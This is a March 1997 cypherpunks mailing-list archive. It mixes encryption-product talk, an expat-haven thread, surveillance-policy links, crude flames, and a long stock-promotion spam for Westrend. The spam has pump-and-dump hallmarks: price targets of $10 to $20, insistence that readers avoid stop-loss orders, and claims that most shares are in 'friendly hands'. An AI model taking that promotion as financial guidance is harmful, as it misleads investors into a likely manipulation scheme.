From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlane@ultragrafix.com
Date: Fri, 7 Mar 1997 07:06:07 -0800 (PST)
To: Friend@public.com
Subject: Save over 50% on Microsoft Office 97 & More!
Message-ID: <199703071440.JAA09383@alberta.sallynet.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vince <demo@offshore.com.ai>
Date: Fri, 7 Mar 1997 04:07:47 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: New York Times report on FC97
In-Reply-To: <331FCB12.6C@gte.net>
Message-ID: <Pine.LNX.3.95.970307081259.23215B-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



Dale:
> [Serious thought] Some people I know have found a haven they swear
> by in Costa Rica. Apparently you don't have to be rich to live there.

I am told the vast majority of people don't even have phones there.  One
of the x-pats here checked it out before moving to Anguilla. 

   -- Vince





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 7 Mar 1997 08:41:29 -0800 (PST)
To: dthorn@gte.net
Subject: Re: New York Times report on FC97
In-Reply-To: <v03007806af44a2ffd732@[207.167.93.63]>
Message-ID: <33203205.794E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> [Serious thought] 

  I guess that when you only have one or two serious thoughts a year,
that it's best to hightlight them, so that they stand out, eh Dale?

-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Thu, 6 Mar 1997 23:13:53 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: SecureFile - Just the way to re-discover your privacy.
Message-ID: <33207CC8.148D@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Querisoft's SecureFile v1.0 Beta for Windows NT and Windows 95 (with IE
3.x) is now available
for download from http://www.querisoft.com/securefile.html. This is one
of the first client
applications that uses Microsoft's CAPI 2.0 (beta)

Download your copy today and start protecting all your personal
information. And like us, if
you believe that personal information security is a fundamental need of
practically every
computer user, forward this message to your friends, family, and peers. 

SecureFile will retail for $39 with a HUGE discount for everyone that
downloads the beta copy.

SecureFile seamlessly integrates with the operating system providing a
one-click operation to
privacy, information integrity, and authentication. A Wizard-based GUI
is also provided for
those that are new to the whole business of securing information.

SecureFile also provides secure exchange of information between people
using email. What's
more, it is independent of email packages 

We hope that you will find SecureFile a useful tool for all your
information security needs.
We'd love to hear what you think about the product. Please fill out the
feedback form on our
website or send mail to securefile@querisoft.com.

Thanks.

Anand Abhyankar




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Thu, 6 Mar 1997 23:18:01 -0800 (PST)
To: jolson3@netbox.com
Subject: Re: File Systems
In-Reply-To: <199703051124.DAA25832@netbox.com>
Message-ID: <33207DF7.67C9@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


JOlson wrote:
> 
> Are there any commercial/shareware/freeware versions of cryptographic file systems for any Windows environment?

dont know of a cryptographic file system. but if all you want is file
security (privacy/integrity) try SecureFile. You will be able to
download the free beta release of SecureFile and know more about it at
http://www.querisoft.com/securefile.html

thanx.
anand....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 7 Mar 1997 09:48:21 -0800 (PST)
To: Anand Abhyankar <anand@querisoft.com>
Subject: Re: SecureFile - Just the way to re-discover your privacy.
In-Reply-To: <33207CC8.148D@querisoft.com>
Message-ID: <Pine.SUN.3.91.970307123710.26020B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 7 Mar 1997, Anand Abhyankar wrote:

> Querisoft's SecureFile v1.0 Beta for Windows NT and Windows 95 (with IE
> 3.x) is now available
> for download from http://www.querisoft.com/securefile.html. This is one
> of the first client
> applications that uses Microsoft's CAPI 2.0 (beta)

Since your page claims it has been deemed exportable:

Which public key cypher does it use?  

what key lengths are available for the public key cypher?

Which secret key cypher does it use?  If DES, which mode and how many rounds?

Which secure hash do you use on the passphrase to protect the private key?

Is there a stronger, non-export version?

Can the cyphers used by SecureFile be replaced by ones of our own design? 
(Say if I want to add RSA-2048, or DH, or Elliptic Curve PK cyphers, or
Idea, or Blowfish, or 3DES, or superencrypt with several secret key
cyphers?)

Is it crippled in any way? 

Is source code available for review?

Any hooks for key recovery?  If someone loses their key can they get it 
back? 

You rely on Internet Exploer's DLLs to be available on your machines.  In 
light of the recent holes discovered will those affect your product? 
Which IE DLLs does your product use?

It's available for 95 and NT, that means an Intel version.  Have you got 
any Alpha, MIPS, or PPC versions for NT on those platforms?

How does your product compare to F-Secure's Desktop?

Why would we trust your product?


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 7 Mar 1997 13:39:32 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: New York Times report on FC97
In-Reply-To: <P3473D142w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970307143611.66086B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 7 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> "Timothy C. May" <tcmay@got.net> writes:
> > For me, ranting (or writing and speaking, to be less inflammatory) is what
> > I do. Others choose to write C++. Others do other things. To each their own.
> >
> > I guess California is where I belong.
> 
> Windbag Timmy belongs in the dustheap of history, next to the shitbucket.

Next to you Vulis.




> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Fri, 7 Mar 1997 15:55:49 -0800 (PST)
To: anand@querisoft.com
Subject: Re: SecureFile
Message-ID: <33203B5E.28D8E637@veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> Querisoft's SecureFile v1.0 Beta for Windows NT and Windows 95 (with IE
> 3.x) is now available
> for download from http://www.querisoft.com/securefile.html. This is one
> of the first client
> applications that uses Microsoft's CAPI 2.0 (beta)

Umm... reading your faq... (http://www.querisoft.com/SFFAQ.html) you
state that you use the windows95 user password as the password for
encrypting files. You also seem to imply that you don't actually
_ask_ for the password, windows gives it to you (albeit hashed
or something already, I imagine). If that is the case, that is extremely
worrisome. In fact it's outrageous.

That would imply that any _other_ application, benign or evil, could
also 
access the same password and immediately decrypt files.

Is that so? (Not coding much on windows, I don't know if applications
can access the user's hashed or encrypted password, but I would guess
they could.)

Jeremey.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                  http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMyA7YS/fy+vkqMxNAQGVSAP/dc1ZwWdfdJZ8gfJNUY3tias5LZi3pWzf
NihyMClArDG7Nb+XQ+s+EILi+FCMCJgtnxoc5AYGW/M/2YlHq9P0ZsUG/PQCgP9x
3+rHi8Zl2BIEqhbkKh0RfAo1Ag6/gSygpTKJz+jQCb440FpTT1CpFCKyN5HSNczc
ZuJwhM4Fzi4=
=ao2E
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Fri, 7 Mar 1997 17:13:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hash functions
Message-ID: <199703080109.RAA12184@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


The main difference between Tim May and shit is that 
shit smells better.

   \
  o/\_ Tim May
 <\__,\
  '\,  |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 7 Mar 1997 19:31:36 -0800 (PST)
To: dthorn@gte.net
Subject: Re: toad
In-Reply-To: <3320B9C6.356F@gte.net>
Message-ID: <199703080302.VAA22908@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Win95 will allow you to get to DOS in different ways, so that's not
> the problem totally, it's file formats and the like.  I can parse
> most text files at about the speed of a good compiler, so if I had
> a reliable interpreter engine for the bulk email that's contained in
> ...\mail\inbox, I might be able to extract some stats from the inbox
> data.  Does anyone have a short (number of lines) piece of source
> code that reduces DOS/Windows HTML mail data to individual messages
> and headers?

you can ftp dosperl.exe and do it very easily.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Mar 1997 19:13:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Terrorist Use of WMD
Message-ID: <1.5.4.32.19970308030628.00718960@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The President's February 27 report to Congress on
"Threats of Terrorist Use of Weapons of Mass Destruction"
proposes:

      New or enhanced technical capabilities needed to counter
     increasingly sophisticated terrorist organizations include
     the ability to intercept advanced telecommunications, with a
     primary focus on wireless and satellite-based systems;
     improved tracking and physical surveillance technologies for
     weapons, explosives, etc.; automatic language translation and
     text/key word recognition; and technology to support
     surreptitious entry.

       Current research and development funding is not adequate.
     Additional funding is needed to continue work on an indepth
     chemical characterization of foreign explosives and for
     continued development of contraband detection technology.
     Additional funding would accelerate development in a number
     of key technologies, particularly communications
     interception, tracking, covert communications, and
     surreptitious access. These technologies are critical to the
     support of counterterrorism investigations, especially WMD-
     related threats.

See the full report on specific threats and countermeasures:

   http://jya.com/cr022797.txt  (294K)

The report was mandated by the "The National Defense 
Authorization Act for Fiscal Year 1997":

   http://jya.com/ndatoc.htm  (70K toc; 1.5M full act)

It correlates with "The Antiterrorism Act of 1996":

   http://jya.com/pl104-132.txt  (358K)

The Senate "Intelligence Committee Report 1995-96":

   http://jya.com/sr105-1.htm  (135K)

The "Intelligence Authorization Act for 1997":

   http://jya.com/pl104-293.txt  (85K)

And "Executive Order 13010--Critical Infrastructure Protection":

   http://jya.com/eo13010.txt  (20K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 8 Mar 1997 05:55:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ULTRA HOWL !!
In-Reply-To: <3320CCC3.50F4@sk.sympatico.ca>
Message-ID: <9Fe93D145w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> wireinfo wrote:
> >
> > Toto wrote:
> >
> > >aga wrote:
> > >>
> > >> Hey guys, if you can do all of this live on the net
> > >> after the MMX Pentium Pro chips get out, I will make you all
> > >> rich.  The InterNet is SHOW BUSINESS !!
> > >
> > >  Could you make us as 'big' as say...John Holmes/Johnny Wadd?
> >
> > I refuse to submit to a penis reduction.
>
>   Especially after spending all of that money on the sex-change
> operation.

Can't you just fold it in half as many times as needed?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 7 Mar 1997 23:44:14 -0800 (PST)
To: Anonymous <nobody@hidden.net>
Subject: Re: Hash functions
In-Reply-To: <199703080109.RAA12184@jefferson.hidden.net>
Message-ID: <Pine.A41.3.95.970308004142.45530A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 7 Mar 1997, Anonymous wrote:

> The main difference between Tim May and shit is that 
> shit smells better.
> 
>    \
>   o/\_ Tim May
>  <\__,\
>   '\,  |
> 
Vulis stay off the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 8 Mar 1997 02:21:27 -0800 (PST)
To: Charles Platt <cp@panix.com>
Subject: Re: Implicit Social Contract
In-Reply-To: <Pine.SUN.3.91.970308001514.24212B-100000@panix.com>
Message-ID: <33213D33.596E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Charles Platt wrote:

> Since most other "freer" countries (financially speaking) are just as
> constitutionally impaired as Anguilla, I doubt that Tim May would find
> them very reassuring either (and neither do I). Thus I am unsurprised that
> he finds the USA more congenial, despite all its flaws; and the whole
> debate about what-you-can-really-do-in-Anguilla seems a bit pointless,
> because it really boils down to a personality thing. Some people like a
> loose, informal system. Some people feel insecure in such a system--which
> is one reason why I left my British homeland 27 years ago, where there is
> no formal constitutional protection for rights such as freedom of speech.

  I live in Righthandavia.
  It's a good life, here, by and large. There is little crime and
everyone
pretty much agrees on what is right and wrong, and conducts their life
accordingly. We're very civilized.

  We had a lot of left-handed citizens until the purge. Luckily, they
were
exposed by government investigators and the mass media before they could
do irrepairable harm to the country.
  For the most part, we lived our lives oblivious to the danger posed by
the left-handed people in our midst, often living right beside us, and
pretending to be just like us. After the congressional hearings,
however,
and with the new laws in place to deal with the scourge of these people,
they were ferreted out and dealt with severely.
  Many of the left-handers who escaped the purge went underground, and 
they remain as a threat to decent, law-abiding right-handers everywhere.
  We have passed strict laws to regulate personal behavior so that it
follows proper right-handed social etiquette, and those who object to
these reasonable protections are subjected to close scrutiny and watched
carefully for signs of left-handed leanings.
  Intitially, those who claimed ambidexterity were allowed a
chance to reform, but it quickly became apparent that these people could
not be rehabilitated and must be purged as well. It became clear that
there was no such thing as a person who was only 'a little bit' left-
handed.

  Decent, right-handed people who have nothing to hide have no reason to
object the the searches and the video monitoring of private and public
activity. 
  The only ones who complain are the fanatics and trouble-makers.

  After all, it's a good life, here, by and large. There is little crime
and everyone pretty much agrees on what is right and wrong, and conducts 
their life accordingly. 
  We're very civilized.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TIMOTHY@CCU1.AUCKLAND.AC.NZ
Date: Sat, 8 Mar 1997 05:20:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: $2 to $20 per share in less than a year.
Message-ID: <199703081320.GAA03042@earth.usa.net>
MIME-Version: 1.0
Content-Type: text/plain


         $2 to $20 per share in a year! Yeah sure what a joke! That is probably 
what you are thinking. I would be thinking the same thing, if someone told me 
the same thing. But the facts speak for themselves and they reveal what will happen,
if you are or are not involved. 
         The company is Westrend on the Vancouver stock exchange. Ticker WRV
 and WTNGF. Alamo Logging Services Inc. ("Alamo")

The company announced that it intends to acquire Alamo upon terms yet to be
negotiated. Alamo has been in the oil & gas logging business in south central Texas
for over 4 years. It is been consistently profitable and has an excellent reputation
with several major operators in the area, including Texaco, UPRC, and Chessepeake.

As an oil & gas logging company, Alamo provides operators with a graphic "look" at
what they are drilling through. This is important as it advises drilling technicians
where they should focus their drilling efforts for optimum results. As a result of
being able to offer this service as part of its drilling package, Westrend is able to
offer operators a comprehensive approach for their drilling requirements.
They got ALAMO
Precision Horizontal, Inc. ("Precision")

The purchase of Precision was completed on June 24, 1996. From this point
forward, Precision's earnings will be consolidated into Westrend's financial
statements. Precision's unaudited financial statements show a profit of US $171,785
for the fiscal year ending January 31, 1996 and appraised assets of over
US $2,000,000. We estimate Precision's gross earnings will exceed $200,000 from
February 1, 1996 to June 30, 1996.

Precision specializes in the drilling of horizontal oil & gas wells using its own short
radius and conventional mid radius steering tools. Precision is able to provide
complete well drilling services to meet the demands of most operators.

Precision successfully completed the first of a series of "re-entry" wells in 1995 in
conjunction with the US Department of Energy and the University of Michigan. It is
being invited back to complete several wells in the fall in response to the very
favourable results from the first well.

Precision has several opportunities before it including several working interest and
retail wells in Oklahoma and Tennessee. These are currently being negotiated.
They got those too.

Adjusted Target: $8-10 - Time Frame: 6 months 
Adjusted Target: $15-20 - Time Frame: 12 months 

Dividends: .05 - .10 /share 

Get the scoop and the package: 1-888-784-6837 

Info: 
***** 
1) Press Release due this week. 
2) Press coverage in the Vancouver SUN 
3) Press coverage in the Financial Post 
4) Earnings could be as high as .60++ this year. 
5) Nasdaq Listing in July after dividends are announced. 
6) Large investor network plugged in last Thursday. 
7) Very near term $3-5. 
8) Approx. estimate shakeout at $2 is 500,000, this is 
needed. Stock must be cleaned out. Do not get shook 
out. 
9) Will probably trade $1.90 - $2.10 for a couple days. 
Average Up opportunity. 
10) Approx. 90% of stock is in friendly hands. 
Friendly = educated people in for long term. 


"Approximate CRASH time. WHY? STOP LOSS ORDERS. YOU SHOULD NEVER PUT IT 
A STOP LOSS ORDER. THE TRADERS ON THE FLOOR WILL PURPOSELY DIP IT BELOW 
YOUR STOP LOSS POINT AND YOU WILL DUMP YOUR SHARES KILLING THE MARKET 
WE HAVE WORKED SO HARD TO MAINTAIN. 

STOP LOSS ORDERS TELL ME YOU HAVE NO CONFIDENCE IN THE STOCK AND A SLIGHT 
PRICE SWING CAUSES YOU TO BAIL ON A STOCK HEADED FOR $10???? DOES THIS 
MAKE SENSE???? THIS IS NO B.S. STOCK PLAY. THIS IS NOT CRAP. THIS IS 
A COMPANY WITH EXCELLERATED EARNINGS AND UNLIMITTED POTENTIAL. YOU 
SHOULD SLEEP AT NIGHT AND HAVE NO WORRIES BUYING $3 STOCK. 

GREENLINE HAD STOP LOSS ORDERS IN AND DUMPED 50,000 SHARES. HELLO? 
I AM JUST HOPING IT WAS NOT ONE OF MY READERS. YOU HAVE JUST SOLD A 
HUGE POSITION IN AN AMAZING STOCK TO THE BOTTOM FEEDERS. 
50,000 SHARES X $10 IS $500,000 LATER THIS YEAR. STUPIDITY. "

"I have been told to tell you, and I totally agree, that IF YOU PEOPLE ARE 
SO NERVOUS ABOUT SLIGHT CORRECTIONS THE I SUGGEST YOU EXIT THE STOCK 
GRACEFULLY. I DO NOT WANT TO HOLD HANDS. I FEEL LIKE BANGING MY HEAD ON 
THE WALL WHEN I SEE THE CRAP THAT HAPPENED TODAY. THIS IS NOT A HYPED 
STOCK. THIS IS AN EARNINGS STOCK AND I CAN'T WAIT TILL IT GETS OFF THE 
VSE AND ONTO A RESPECTABLE EXCHANGE. 

The Press Release this morning: 
------------------------------- 

Whoever put the title on the release should be shot. The title makes 
it look negative but it is the most positive press release I have read 
in a long time. 

Basically reallocation of funds, more bang for the buck. Very positive 
making Magnum a total cash deal.... 

Earnings projected at .37/share!!! "

Westrend Natural Gas - Vancouver 
******************************** 

Oh ya, Westrend is also: WTNGF (symbol) on the pink sheets for you American 
people. 

There is concern about the eps. Even if you take th .28 a share and multiply 
it by an average of 15 PE ratio it is a $4.20 stock. The company is on a rapid 
pace, do you think they are just going to stop at .28?? Watch and see what 
happens. 

One more thing about EPS. Do you think Oil and Gas companies, or any other 
company pays the full tax??? Absolutely not. I personally think it is rediculous 
to post this number. You see profits can be used to drill oil wells, pay out 
dividends, and other things. I would bet all my shares in my account that 
Westrend won't pay the 23.2% tax stated in this news release. 

Press release, comments below: 
------------------------------ 

Westrend Natural Gas Inc 
WRN 
Shares issued 16041157 
1997-03-03 close $1.79 
Wednesday Mar 5 1997 
News Release 
Mr Mark Roberts reports 
This press release clarifies the financial projections stated by management in its 
March 3 1997 original press release. The projections were based on a number of 
assumptions and hypotheses which are detailed below. The company has 
provided the exchange with a projected consolidated statement of operations for 
the relevant 12 month period, together with a detailed breakdown of projected 
results for each corporate division. 
The time period covered by the projections is 12 months beginning May 1 1997. 
The rationale for the start date is that substantially all of the referenced trucks & 
equipment are expected to have been purchased and/or supplied by that date. 
This is consistent with the disclosure in the original press release wherein the 
company stated projections were based on the assumptions that purchases of 
equipment would be complete and the equipment would be fully utilized. 
The projections are designed to demonstrate earnings expected if the proceeds 
from the referenced private placement financings were applied in the manner 
stated and may not be appropriate for other purposes. 
Management confirms that the net revenue figures stated in the original press 
release for each of its corporate divisions were prepared on a before tax basis. 
Arising from the detailed review of the projections requested by the exchange, 
management have determined that the net revenue before tax figures should have 
been stated at a slightly higher level and are accordingly so stated below. 
Management have been advised by the exchange, in accordance with the 
requirements of Exchange Policy 7 and the adoption therein of the principles 
contained in the CICA Handbook, that earnings per share must be calculated on 
an after tax basis. Management was employing managerial accounting principles 
and hence the income tax consideration was omitted from such calculations. 
The diluted share total of 24.8 million shares was calculated by adding the current 
18,508,484 issued and outstanding shares, 1,538,461 deemed shares from the 
recently completed special warrant placement, 1,300,000 deemed shares from the 
$780,000 placement (which will be special warrants), 2,000,000 deemed shares 
from the $1.6 million placement (which will be special warrants) and 1,500,000 
shares which is the maximum issuable on the acquisition of Alamo. The share total 
does not include exercise of any outstanding share purchase warrants or stock 
options. There are no other proposed issuances of shares by Westrend. 
Accordingly, Westrend is re-stating the net income before tax numbers for each 
corporate division, net income before tax as a whole, net income before tax per 
share, and earnings per share numbers, as follows: 
All dollar amounts in this release are in US dollars unless stated otherwise. 

Projected net profit 
before income tax 

(a) Alamo Wireline $4,042,500 
(b) Precision Horizontal Inc 1,641,000 
(e) Taylor Rig 1,490,000 

Projected Net Income before 
tax (after deduction of 
parent company projected 
expenses of $600,000) $6,573,500 


Projected net income $5,048,448 

Net income before tax per 
share (on 24.8m shares) US$0.27/share 
C$0.37/share 
Consolidated earnings 
per share (after tax 
on 24.8m shares) US$0.20/share 
C$0.28/share 


The projections are designed to demonstrate earnings expected if the proceeds 
from the referenced C$780,000 and C$1.6 million private placement financings 
were applied in the manner stated. 
The projections have been prepared using assumptions that reflect Westrend's 
planned courses of action for the period covered given management's judgment as 
to the most probable set of economic conditions, together with one or more 
hypotheses that are assumptions which are consistent with the purpose of the 
information but are not necessarily the most probable in management's judgement. 
The overall assumptions are as follows: 
1. The parent company, Westrend, will have expenses of approximately 
US$600,000 during the period. 
2. The two recently announced private placements of C$780,000 and C$1.6 
million will have been closed well in advance of May 1 1997. 
3. As more specifically stated below, that the majority of the equipment purchases 
will have been completed by May 1 1997. 
4. As more specifically stated below, arising from the significantly increased 
demand for the services that Westrend is planning to be able to offer to the oil & 
gas industry, that reasonable utilization/service rates are obtainable. 
5. It is hypothesized that for the period, the existing strong demand for the types of 
services that Westrend plans to offer, will remain throughout. Management believe 
there is sufficient analysis published in trade publications to support this view. 
6. The US corporate tax rate for companies of the nature of Westrend and its 
subsidiaries in Texas is assumed to be 23.2%. 
7. All figures are estimated to be within plus or minus 15%. 
The specific assumptions and hypotheses for each corporate division are as 
follows: 
1. Taylor Rig 
The following assumptions and hypotheses have been made: 
a) 
Revenues are based on the assumption that 23 service rigs and 15 wireline 
trucks (two at cost to Alamo) will be sold in the 12 month period; 

Service Rigs 
b) 
It is assumed that on average the service rigs will sell at prices equal to 
$350,000 (all figures in US dollars) as being reflective of market; 

Wireline Trucks 
c) 
It is assumed that the average wireline truck sold will carry a sufficient number 
of options to be priced at $250,000 per truck as being reflective of market; 
and 
d) 
It is assumed that once Taylor Rig has filled Alamo's initial order, sales will run 
at one per month. 

2. Alamo Wireline 
The following hypotheses and assumptions have been made: 
a) 
Alamo will be operating seven wireline trucks during the period, each truck 
operating 20 days per month at between $3,300 and $3,900 per day. During 
the period, direct operating costs will be approximately $1,025,500, wages 
and salaries will be approximately $690,000, and equipment debt repayment 
will be approximately $71,000; 
b) 
Alamo will benefit from significant economies of scale by running seven trucks 
out of one main office, and a minor satellite Louisiana office, up from two 
trucks; 
c) 
Alamo will use the five additional trucks at lower cost and greater efficiency 
due to Alamo being able to purchase brand new equipment, and Alamo will 
benefit from its strategic alliance with Precision Horizontal Inc, a subsidiary of 
Westrend, since a package of services can he offered to customers, 
particularly MWD services in conjunction with wireline logging; 
d) 
Any slippage in net profits per truck are assumed to be picked up by a 
probable expansion of Alamo's fleet of trucks which can be funded out of 
projected cash flow; 
e) 
As stated in the original press release, Alamo is hiring experienced, 
well-connected wireline logging services salesmen who are assumed, along 
with Alamo's existing sales manager and possible further additions, to be 
capable of finding sufficient work immediately for the four new trucks to be 
delivered by Taylor Rig on May 1 1997; and 
f) 
The current expansion in oil & gas drilling activity which has engendered 
strong demand for wireline logging services is assumed to hold steady during 
the period. 

3. Precision Horizontal Inc 
The following hypotheses and assumptions have been made: 
a) 
Precision will be contracted to provide its horizontal drilling services at $7,000 
per day, 22 days per month, and incurring approximate operating costs for its 
horizontal drilling business of $719,000, and wages and salaries of $205,000; 
b) 
Precision will have acquired two MWD systems that will each be operated at 
$4,000 per day, 20 days per month, incurring approximate operating costs of 
$602,000, and wages and salaries of $205,000; 
c) 
It is assumed that the strong demand for MWD services will remain strong 
throughout the period; 
d) 
It is assumed that the second system of MWD equipment can be financed out 
of a combination of working capital and funds out of projected cash flow; 
e) 
The MWD business of Precision will benefit from its strategic alliance with 
Alamo since a package of services can be offered to customers; and 
f) 
A marketing program in conjunction with Alamo will be set up to secure a 
steady supply of business for both horizontal drilling and MWD; 
g) 
The current expansion in oil & gas drilling activity which has engendered 
strong demand for wireline logging services is assumed to hold steady during 
the period. 

Actual results achieved for the period covered will vary from the information 
presented and that variation may be material. 

--------------------------------------------------------------------------------- 

Very positive release. It should start trading tomorrow sometime. The VSE has 
been satisfied about the EPS projections. 

I remain bullish on this equity, I think at the rate they are expanding that 
$10 is in the cards this summer sometime. It seems like management is solid 
and the stock reflects that. 

When Westrend crashed on Monday it rebounded VERY quickly. This shows that the 
stock momentum is up. 

>From Monday's release: 

Westrend is in negotiations to raise up to $10 million at or above current market 
prices which would include the offering of the 3.2 million shares that had been 
previously reserved for issuance to the Magnum shareholders. Negotiations 
involve a series of brokerage houses out of New York (which brokerages would 
also provide sponsoring of Westrend if, as currently planned, it becomes listed in 
the US) and from a number of private investors. A meeting with these parties has 
been orchestrated by the president of Westrend, Mark Roberts, for this week in 
San Antonio, Texas, which will include representatives from each of Westrend's 
associated companies to make a detailed proposal for the use of the proposed 
financing proceeds. 

These meetings with NY brokers tells me that Westrend is going verticle. They are 
looking to expand at a rapid pace which requires financings and exposure. 
A US brokerage house would definately be a huge asset to this verticle climb. 

Tomorrow should be exiting. More Oil and Gas articles, thanks to my subscribers: 
********************************************************************************* 

The Wall Street Journal Interactive Edition-March 4, 1997 
Experts Say Capacity Shortage 
May Prop Up Crude-Oil Prices 

By PETER FRITSCH 
Staff Reporter of THE WALL STREET JOURNAL 
HOUSTON-Oil prices have plunged 20% this year, but some industry experts 
believe the downturn may be nearing an end. 
Many blame short-term factors, such as the mild winter weather and politics 
surrounding Iraq's return to world oil markets, for the recent declines. 
Looking ahead, economists believe the market will be buoyed by a shortage of 
capacity in the oil-services industry. 
After a decade of slimming down, oil-service companies are having difficulty 
keeping up with the explosive growth in world-wide demand. The bottleneck is 
so severe that some economists say oil prices could remain relatively firm for 
the next several years even if there is a slowdown in the economy. 
Despite the recent fall in prices, the current benchmark price of $20.25 a 
barrel is still above year-earlier levels, when there was widespread talk of 
an imminent price collapse. Prices ended up surging in the second half of 1996, 
at one point reaching an 11-year high of about $28 a barrel (excluding the 
1990 price jolt during the Persian Gulf War). 
Reflecting the industry's continued bullishness, Cambridge Energy Research 
Associates, a top oil consultant, recently lifted its forecast for oil's 
minimum price over the next few years to $19 a barrel from $17 previously. 
The upward revision was echoed by the secretary general of the Organization 
of Petroleum Exporting Countries, Rilwanu Lukman, who recently said the era 
of oil for $15 to $20 a barrel has given way to $20 to $25 a barrel. 
An 'Era of Higher Prices' 
"People say it feels like 1981 and worry that we'll go bust again," says 
PanEnergy Corp. director Matthew Simmons. "But the era of higher prices 
has only just begun." 
If such industry watchers are right, oil prices could prove to be less 
sensitive than before to any economic downturn. That would be bad news for 
motorists and industries such as airlines that are heavily exposed to fuel 
costs. And if a long-awaited economic slowdown does materialize, stubbornly 
high oil prices could delay a recovery. 
Still, oil economists aren't predicting sharply higher prices either, 
tempering any negative impact on the economy. "I don't see a dramatic drag," 
says Donald Ratajczak, director of Georgia State University's Economic 
Forecasting Center, who last week raised his 1997 outlook for oil prices to 
an average $21 a barrel. He figures that if the economy weathered last year's 
high oil prices, it can weather this year's too. 
What predictors of petroleum prices can't know, says Mr. Ratajczak, is the 
extent to which sources like developing nations and North Sea production 
unexpectedly tip the balance, flooding the market with excess supply and 
driving prices lower. Indeed, Philip Verleger of the Charles River 
Associates consulting firm sees a potential supply imbalance pushing oil 
prices down to $18 a barrel this year. 
But there is plenty of reason to think that won't happen easily. 
World-wide oil and gas production as a percentage of production capacity 
is currently at about 95%, a flat-out rate matched only during a major 
political event such as the Arab oil embargo and accompanied by short- 
lived price surges. Put simply, the industry can no longer keep up with 
demand by simply turning on old taps, as it has been doing over the past 
decade. 
Evidence of a Bottleneck 
Tapping new supplies, then, will be crucial in keeping up with demand. 
But there is mounting evidence of a bottleneck in oil services-the 
industry that supplies the tools needed to get the job done. Consider 
that today, for example, every deep-water drilling rig in the world is 
